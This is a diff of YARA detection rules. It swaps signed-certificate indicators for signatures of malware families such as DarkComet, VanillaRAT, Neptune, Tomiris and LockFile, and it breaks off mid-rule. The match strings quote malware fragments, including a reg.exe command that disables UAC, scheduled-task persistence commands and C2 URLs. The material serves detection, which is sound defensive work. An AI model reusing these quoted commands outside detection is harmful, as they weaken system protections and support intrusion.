-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SILVER d.o.o." and pe.signatures[i].serial=="1a:ec:3d:3f:75:2a:38:61:7c:1d:7a:67:7d:0b:55:91")
+		uint16(0)==0x5a4d and (( all of ($s*) and 5 of ($a*)) or 10 of ($a*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_E5B2Af04Ea4B84A94609A47Eba3164Ec : FILE
+rule DITEKSHEN_MALWARE_Win_Darkcomet : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects DarkComet"
 		author = "ditekSHen"
-		id = "ea78ae13-cd9f-578a-95e4-906ab7045faf"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "ae2412df-adae-5640-9404-7b093c5095b4"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4660-L4671"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7792-L7812"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2e32bb0d9689625cd860a75539961410241de341ad4b7ee661df7d3b2dd47c46"
+		logic_hash = "444df3c914c47500018614af10036864b459e7873daf079b684352dbe52f0486"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "7785d50066faee71d1a463584c1a97f34431ddfe"
-		importance = 20
+
+	strings:
+		$s1 = "%s, ClassID: %s" ascii
+		$s2 = "%s, ProgID: \"%s\"" ascii
+		$s3 = "#KCMDDC51#" ascii
+		$s4 = "#BOT#VisitUrl" ascii
+		$s5 = "#BOT#OpenUrl" ascii
+		$s6 = "#BOT#Ping" ascii
+		$s7 = "#BOT#RunPrompt" ascii
+		$s8 = "#BOT#CloseServer" ascii
+		$s9 = "#BOT#SvrUninstall" ascii
+		$s10 = "#BOT#URLUpdate" ascii
+		$s11 = "#BOT#URLDownload" ascii
+		$s12 = /BTRESULT(Close|Download|HTTP|Mass|Open|Ping\|Respond|Run|Syn|UDP|Uninstall\|uninstall|Update|Visit)/ ascii
+		$s13 = "dclogs\\" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "RRGRQJRWZHRTLFAUVK" and pe.signatures[i].serial=="e5:b2:af:04:ea:4b:84:a9:46:09:a4:7e:ba:31:64:ec")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Dummy01 : FILE
+rule DITEKSHEN_MALWARE_Win_Macoute : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Macoute"
 		author = "ditekSHen"
-		id = "eaf3bbdd-72b4-513c-9a5b-04f16292fa00"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "0ecfb923-2e51-544e-984d-efdeeb175727"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4673-L4687"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7814-L7836"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c72ac977ef92feead0a7ec72ec99b1a11f20b8c5258a08842a4dceddff91d659"
+		logic_hash = "1dffa48fe6c0ac053509b5f5994d323fd72d090da0f077b52c9bc33df6997964"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint1 = "16b7eb40b97149f49e8ec885b0a7fa7598f5a00f"
-		thumbprint2 = "902bf957b57f134619443d80cb8767250e034110"
-		thumbprint3 = "505f0055a66216c81420f41335ea7a4eb7b240fe"
-		thumbprint4 = "c05a6806d770dcec780e0477b83f068a1082be06"
-		importance = 20
+
+	strings:
+		$s1 = "scp%s%s%s%s" ascii
+		$s2 = "putfile %s %s" ascii
+		$s3 = "pscp|%s|%s:%s" ascii
+		$s4 = "connect %host %port\\n" ascii
+		$s5 = "/ecoute/spool/%s-%lu" ascii
+		$s6 = "<f n=\"%s\" s=\"%lu\" d=\"%d-%d-%d\"/>" ascii
+		$s7 = "CMPT;%s;%s;%s;%s;%s" ascii
+		$s8 = "%s\\apoScreen%lu.dll" ascii
+		$s9 = "/cap/%s%lu.jpg" ascii
+		$s10 = "INFO;%u;%u;%u;%d;%d;%d;%d;%d;%d;%d;%s" ascii
+		$s11 = "SUBJECT: %s is comming!" ascii
+		$s12 = "Content-type: multipart/mixed; boundary=\"#BOUNDARY#\"" ascii
+		$s13 = "FROM: %s@yahoo.com" ascii
+		$s14 = "<html><script language=\"JavaScript\">window.open(\"readme.eml\", null,\"resizable=no,top=6000,left=6000\")</script></html>" ascii
+		$s15 = "<html><HEAD></HEAD><body bgColor=3D#ffffff><iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe></body></html>" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Dummy certificate" and pe.signatures[i].serial=="01")
+		uint16(0)==0x5a4d and 10 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00A7E1Dc5352C3852C5523030F57F2425C : FILE
+rule DITEKSHEN_MALWARE_Win_Coinminer04 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects coinmining malware"
 		author = "ditekSHen"
-		id = "fba8f1a8-ca08-5d6f-a83e-c817daf94703"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d90d8ad3-20b7-5bb4-8c58-3488c60ed9a2"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4689-L4700"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7838-L7858"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "06c151ae8b4a45eccef028ea69f0adf74445bd4d871fc65cc1d308f2005cede1"
+		logic_hash = "2ef60dbf0bac3d5910635bb011a45e5ebc1392094b10425604fa9dd290198f8b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "09232474b95fc2cfb07137e1ada82de63ffe6fcd"
-		importance = 20
+
+	strings:
+		$s1 = "createDll" fullword ascii
+		$s2 = "getTasks" fullword ascii
+		$s3 = "SetStartup" fullword ascii
+		$s4 = "loadUrl" fullword ascii
+		$s5 = "Processer" fullword ascii
+		$s6 = "checkProcess" fullword ascii
+		$s7 = "runProcess" fullword ascii
+		$s8 = "createDir" fullword ascii
+		$cnc1 = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0" fullword wide
+		$cnc2 = "?hwid=" fullword wide
+		$cnc3 = "?timeout=1" fullword wide
+		$cnc4 = "&completed=" fullword wide
+		$cnc5 = "/cmd.php" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Pushka LLC" and pe.signatures[i].serial=="00:a7:e1:dc:53:52:c3:85:2c:55:23:03:0f:57:f2:42:5c")
+		uint16(0)==0x5a4d and (5 of ($s*) and 1 of ($cnc*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_635517466B67Bd4Bba805Bc67Ac3328C : FILE
+rule DITEKSHEN_MALWARE_Win_Sidewalk : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects SideWalk"
 		author = "ditekSHen"
-		id = "b7533186-b5dc-53ce-912b-39bd42c92071"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "ab82b83a-a279-555a-83c2-6340431b10da"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4702-L4713"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7860-L7880"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "71cdb314e2f6bda70f9f627d72aea49290fdbce66f76a170aa6571873ca82860"
+		logic_hash = "6885a1ad69d61fa5875ee0db949071e84390fc2db4307c412b32cd17c0806f6a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "0b3144ec936028cbf5292504ef2a75eea8eb6c1d"
-		importance = 20
+
+	strings:
+		$s1 = "Decommit" fullword ascii
+		$s2 = "Shellc0deRunner" fullword ascii
+		$s3 = "shellc0de" fullword ascii
+		$s4 = "C:\\Windows\\System32\\msdt.exe" fullword wide
+		$s5 = "StartProcessWOPid" fullword ascii
+		$s6 = "StartProcessWithParent" fullword ascii
+		$m1 = "alloctype" fullword ascii
+		$m2 = "ThreadIoPriority" fullword ascii
+		$m3 = "PebAddress" fullword ascii
+		$m4 = "dotnet.4.x64.dll" fullword wide
+		$m5 = "LogonNetCredentialsOnly" fullword ascii
+		$m6 = "ThreadIdealProcessor" fullword ascii
+		$m7 = "LogonWithProfile" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MEDIATEK INC." and pe.signatures[i].serial=="63:55:17:46:6b:67:bd:4b:ba:80:5b:c6:7a:c3:32:8c")
+		uint16(0)==0x5a4d and (5 of ($s*) or all of ($m*) or (11 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_A2253Aeb5B0Ff1Aecbfd412C18Ccf07A : FILE
+rule DITEKSHEN_MALWARE_Win_Vanillarat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects VanillaRAT"
 		author = "ditekSHen"
-		id = "82d70dae-97e7-5fa3-8a91-de6143fa2164"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "70c2cd1a-a6d4-562e-a6fc-c16a9e87c6b7"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4729-L4740"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7882-L7902"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "357de1cbdf3223dfb1a920bfb15bbbd66906de5225c0ed015e5a3fbbbb65a753"
+		logic_hash = "d7b90ac88a50693ec4bb0676c04f5d161f04f67970ea60d80e79d774da75bfdc"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "b03db8e908dcf0e00a5a011ba82e673d91524816"
-		importance = 20
+
+	strings:
+		$stub = "VanillaStub." ascii wide
+		$s1 = "Client.Send: " wide
+		$s2 = "Connected to chat" fullword wide
+		$s3 = "GetStoredPasswords" fullword wide
+		$s4 = "Started screen locker." fullword wide
+		$s5 = "[<\\MOUSE>]" fullword wide
+		$s6 = "YOUR SCREEN HAS BEEN LOCKED!" fullword wide
+		$s7 = "record recsound" fullword wide
+		$f1 = "<StartRemoteDestkop>d__" ascii
+		$f2 = "<ConnectLoop>d__" ascii
+		$f3 = "<Scan0>k__" ascii
+		$f4 = "<RemoteShellActive>k__" ascii
+		$f5 = "KillClient" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Gallopers Software Solutions Limited" and pe.signatures[i].serial=="a2:25:3a:eb:5b:0f:f1:ae:cb:fd:41:2c:18:cc:f0:7a")
+		uint16(0)==0x5a4d and (($stub and (2 of ($s*) or 2 of ($f*))) or 6 of ($s*) or all of ($f*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_21E3Cae5B77C41528658Ada08509C392 : FILE
+rule DITEKSHEN_MALWARE_Win_Sectoprat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects SectopRAT"
 		author = "ditekSHen"
-		id = "bd97478f-1b75-542d-814c-8d318d745240"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d6594834-24d7-5e86-84b5-5a7920e7bc89"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4742-L4753"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7904-L7929"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c860e888b19b98c40cf00babfb022a79a35f12def0077733e796b2aeeea324ea"
+		logic_hash = "b4048f837c02560a8b650247173be25893b466e5cec8f2784eea58172f973822"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "8acfaa12e5d02c1e0daf0a373b0490d782ea5220"
-		importance = 20
+
+	strings:
+		$s1 = "\\\\.\\root\\cimv2:Win32_Process" wide
+		$s2 = "\\\\.\\root\\cimv2:CIM_DataFile.Name=" wide
+		$s3 = "^.*(?=Windows)" fullword wide
+		$s4 = "C:\\Windows\\System32\\cmd.exe" wide
+		$s5 = "C:\\Windows\\explorer.exe" wide
+		$s6 = "Disabling IE protection" wide
+		$s7 = "stream started succces" wide
+		$b1 = "/C start Firefox" wide
+		$b2 = "/C start chrome" wide
+		$b3 = "/C start iexplore" wide
+		$m1 = "DefWindowProc" fullword ascii
+		$m2 = "AuthStream" fullword ascii
+		$m3 = "KillBrowsers" fullword ascii
+		$m4 = "GetAllNetworkInterfaces" fullword ascii
+		$m5 = "EnumDisplayDevices" fullword ascii
+		$m6 = "RemoteClient.Packets" fullword ascii
+		$m7 = "IServerPacket" fullword ascii
+		$m8 = "keybd_event" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Network Design International Holdings Limited" and pe.signatures[i].serial=="21:e3:ca:e5:b7:7c:41:52:86:58:ad:a0:85:09:c3:92")
+		uint16(0)==0x5a4d and ((5 of ($s*) and 2 of ($b*)) or all of ($s*) or ( all of ($b*) and (4 of ($s*) or 5 of ($m*))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_09B3A7E559Fcb024C4B66B794E9540Cb : FILE
+rule DITEKSHEN_MALWARE_Win_Neptune : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Neptune keylogger / infostealer"
 		author = "ditekSHen"
-		id = "5e1057d4-a40c-5e48-8965-91fd533c04dc"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "0f619bea-f00b-5078-95a4-83306e3e87b4"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4790-L4802"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7931-L7953"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "345abbb31986fe3f8f6b7eb05c73d4d42daa9df6a7706b9cd2fb4f8aac61d40b"
+		logic_hash = "e3298bf55f89180ed7e9f7ad35b59d39284a5143fd69fa2a4fbc27d91fb2fbd3"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "59c60ade491c9eda994711b1fdb59510baad2ea3"
-		hash1 = "b57d694b6d1f9e0634953e8f5c1e4faf84fb50be806a8887dd5b31bfd58a167f"
-		importance = 20
+
+	strings:
+		$x1 = "your keylogger has been freshly installed on" wide
+		$x2 = "Attached is a screenshot of the victim" wide
+		$x3 = "color: rgb(2, 84, 138);'>Project Neptune</span><br>" wide
+		$x4 = ">{Monitor Everything}</span><br><br>" wide
+		$x5 = "[First Run] Neptune" wide
+		$x6 = "Neptune - " wide
+		$s1 = "Melt" fullword wide
+		$s2 = "Hide" fullword wide
+		$s3 = "SDDate+" fullword wide
+		$s4 = "DelOff+" fullword wide
+		$s5 = "MsgFalse+" fullword wide
+		$s6 = "Clipboard:" fullword wide
+		$s7 = "information is valid and working!" wide
+		$s8 = ".exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f" wide
+		$s9 = "http://www.exampleserver.com/directfile.exe" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Windscribe Limited" and pe.signatures[i].serial=="09:b3:a7:e5:59:fc:b0:24:c4:b6:6b:79:4e:95:40:cb")
+		uint16(0)==0x5a4d and (2 of ($x*) or 7 of ($s*) or (1 of ($x*) and 5 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_19Beff8A6C129663E5E8C18953Dc1F67 : FILE
+rule DITEKSHEN_MALWARE_Win_Tomiris : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Tomiris"
 		author = "ditekSHen"
-		id = "8bc27a0c-898d-510f-ad9d-78d5bab40cad"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "86efd4fb-3c76-504e-b367-132aee59e09a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4804-L4815"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7955-L7978"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e62c4ab0652f872887b7bedadba3306c831351f57bc4a177302b1268d823f9f4"
+		logic_hash = "1d9baeb6db2e849dd053c3fc735984e23b9cead39cf166f8a544ee5a439185d1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "ad3deacd821fee3bb158665bd7fa491e39aab2e6"
-		importance = 20
+
+	strings:
+		$f1 = "main.workPath" ascii
+		$f2 = "main.selfName" ascii
+		$f3 = "main.infoServerAddr" ascii
+		$f4 = "main.configFileName" ascii
+		$s1 = "C:/Projects/go/src/Tomiris/main.go" ascii
+		$s2 = "C:/GO/go1.16.2/src/os/user/lookup_windows.go" ascii
+		$s3 = "C:\\GO\\go1.16.2" ascii
+		$s4 = ".html.jpeg.json.wasm.webp/p/gf/p/kk1562515" ascii
+		$s5 = "\" /ST 10:00alarm clockassistQueueavx512vbmi2avx512vnniwbad" ascii
+		$s6 = "write /TR \" Value addr= alloc base  code= ctxt: curg= free  goid  jobs= list= m->p=" ascii
+		$t1 = "SCHTASKS /DELETE /F /TN \"%s\"" ascii
+		$t2 = "SCHTASKS /CREATE /SC DAILY /TN" ascii
+		$t3 = "SCHTASKS /CREATE /SC ONCE /TN \"%s\" /TR \"%s\" /ST %s" ascii
+		$t4 = "SCHTASKS /CREATE /SC ONCE /TN \"%s\" /TR \"'%s' %s\" /ST %s" ascii
+		$r1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones" ascii
+		$r2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CULNADY LTD LTD" and pe.signatures[i].serial=="19:be:ff:8a:6c:12:96:63:e5:e8:c1:89:53:dc:1f:67")
+		uint16(0)==0x5a4d and (( all of ($f*) and 3 of ($s*) and 2 of ($t*) and 1 of ($r*)) or (4 of ($s*) and 2 of ($t*) and 1 of ($r*)) or 12 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0Cf2D0B5Bfdd68Cf777A0C12F806A569 : FILE
+rule DITEKSHEN_MALWARE_Win_Jennlog : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects JennLog loader"
 		author = "ditekSHen"
-		id = "610f4147-9b32-5d96-bf27-10a8e0c3c347"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "38f8cd13-f157-5cce-bf04-80c29d254144"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4817-L4828"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7980-L7996"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d3e625c05e974650bb9750f6dadbbba5825a34ea10902c807b9da457902d2b59"
+		logic_hash = "085a4783c7c01ec95491d9999d1835ad9ab3dc70d77b944578e097b3ffe3a627"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "0c212cdf3d9a46621c19af5c494ff6bad25d3190"
-		importance = 20
+
+	strings:
+		$x1 = "%windir%\\system32\\rundll32.exe advapi32.dll,ProcessIdleTasks" fullword wide
+		$x2 = "https://fkpageintheworld342.com" fullword wide
+		$s1 = "ExecuteInstalledNodeAndDelete" fullword ascii
+		$s2 = "ProcessExsist" fullword ascii
+		$s3 = "helloworld.Certificate.txt" fullword wide
+		$s4 = "ASCII85 encoded data should begin with '" fullword wide
+		$s5 = "] WinRE config file path: C:\\" ascii
+		$s6 = "] Parameters: configWinDir: NULL" ascii
+		$s7 = "] Update enhanced config info is enabled." ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PROTIP d.o.o." and pe.signatures[i].serial=="0c:f2:d0:b5:bf:dd:68:cf:77:7a:0c:12:f8:06:a5:69")
+		uint16(0)==0x5a4d and ((1 of ($x*) and 3 of ($s*)) or 5 of ($s*) or ( all of ($x*) and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_56F008E69A7C4C3Feb389C66Eaf58259 : FILE
+rule DITEKSHEN_MALWARE_Win_Lockfile : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects LockFile ransomware"
 		author = "ditekSHen"
-		id = "bcd0cd8e-82ec-5d20-85d1-cbad455b6d90"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "762ac376-43ff-56d2-b279-2879ce6d8542"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4830-L4841"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7998-L8014"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3ba02eb734b461b02744c5fc901e45f4574249607398fb8a73850d5d5e89788b"
+		logic_hash = "28c8aa8931d599e5a1860fe2ed0b8172e709dad1a48a319858a907fa775af293"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE"
-		thumbprint = "a7dc8cb973ef5f54af0889549d84dee51a7db839"
-		importance = 20
+
+	strings:
+		$x1 = "LOCKFILE" fullword ascii
+		$x2 = "25a01bb859125507013a2fe9737d3c33" fullword ascii
+		$s1 = "</key>" fullword ascii
+		$s2 = "<computername>%s</computername>" fullword ascii
+		$s3 = "<blocknum>%d</blocknum>" fullword ascii
+		$s4 = "%s\\%s-%s-%d%s" fullword ascii
+		$s5 = ">RAC=OQD:S>P@:AO?R:EEOS:ARDD=N?EENSB" ascii wide
+		$m1 = "<title>LOCKFILE</title>" ascii wide nocase
+		$m2 = "<hta:application id=LOCKFILE applicationName=LOCKFILE" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MEDIATEK INC." and pe.signatures[i].serial=="56:f0:08:e6:9a:7c:4c:3f:eb:38:9c:66:ea:f5:82:59")
+		uint16(0)==0x5a4d and ( all of ($x*) or all of ($s*) or (1 of ($x*) and (2 of ($s*) or 1 of ($m*))) or (1 of ($m*) and (1 of ($x*) or 2 of ($s*))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_279B3A26F16A069Aa7Bca1811D44Ad9B : FILE
+rule DITEKSHEN_MALWARE_Win_HUNT_Foggyweb : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Attempt on hunting FoggyWeb"
 		author = "ditekSHen"
-		id = "3ead1500-d510-5a9b-8a19-19f9f7f2cf95"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "429827f7-2ccf-5c13-ac0d-1fd8b35a6740"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4857-L4873"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8016-L8032"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5a01fd3db421a4b41318fa1264e8bc621ddeddb44b82b8f0b15e97eccec616e8"
-		score = 75
+		logic_hash = "d868501bc52ad7787d9e99927dd61e9ad9e2132f02348fc71e64666bfc0c9e15"
+		score = 50
 		quality = 75
 		tags = "FILE"
-		thumbprint = "4a9fc15f1d63145b622989c4f5bec4612095401e"
-		hash1 = "fc642048d9f0b8cb36649fd377fdb68dce3998f2a88e8c64acdc4e88435f2562"
-		hash2 = "914067034336e4ed8b56e66d6be29f34477d9fb38ba73095a3edca5ec9cb1a9c"
-		hash3 = "daf7e148f82807808cac8a21b1a3ce43491c3a140420442a1c1ee2d497a9e0a2"
-		hash4 = "3727044bebe4a14aed66df5119c11471a57b50c57ab4baaef4073323206d3b9b"
-		hash5 = "f0239d16f77b11e6b606b23a53c9e563f6360a27a03c0b9cf83b151ee8ee9088"
-		importance = 20
+
+	strings:
+		$u1 = "/adfs/portal/images/theme/light01/" ascii wide
+		$u2 = "/adfs/services/trust/2005/samlmixed/upload" ascii wide
+		$s1 = "ProcessGetRequest" ascii wide
+		$s2 = "ProcessPostRequest" ascii wide
+		$s3 = "UrlGetFileNames" ascii wide
+		$s4 = "GetWebpImage" ascii wide
+		$s5 = "GetWebpHeader" ascii wide
+		$s6 = "ExecuteAssemblyRoutine" ascii wide
+		$s7 = "ExecuteBinary" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DIGITAL DEVLIN LIMITED" and pe.signatures[i].serial=="27:9b:3a:26:f1:6a:06:9a:a7:bc:a1:81:1d:44:ad:9b")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_07Cef66A71C35Bc3Aed6D100C6493863 : FILE
+rule DITEKSHEN_MALWARE_Win_HUNT_Apostle
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Attempt on hunting new variants of Apostle"
 		author = "ditekSHen"
-		id = "e07b0a2c-64ff-5e12-9f19-00a67a13fb89"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "31d15111-6935-5a77-ae9a-6bee16c1d2f6"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4875-L4886"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8034-L8043"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "24b89e65bc9d60a60e57f749735214c462e56c3194906e4bca52d74463617be4"
-		score = 75
-		quality = 75
-		tags = "FILE"
-		thumbprint = "9f65b1f0bed6e58ecdcc30b81b08b350fcc966a1"
-		importance = 20
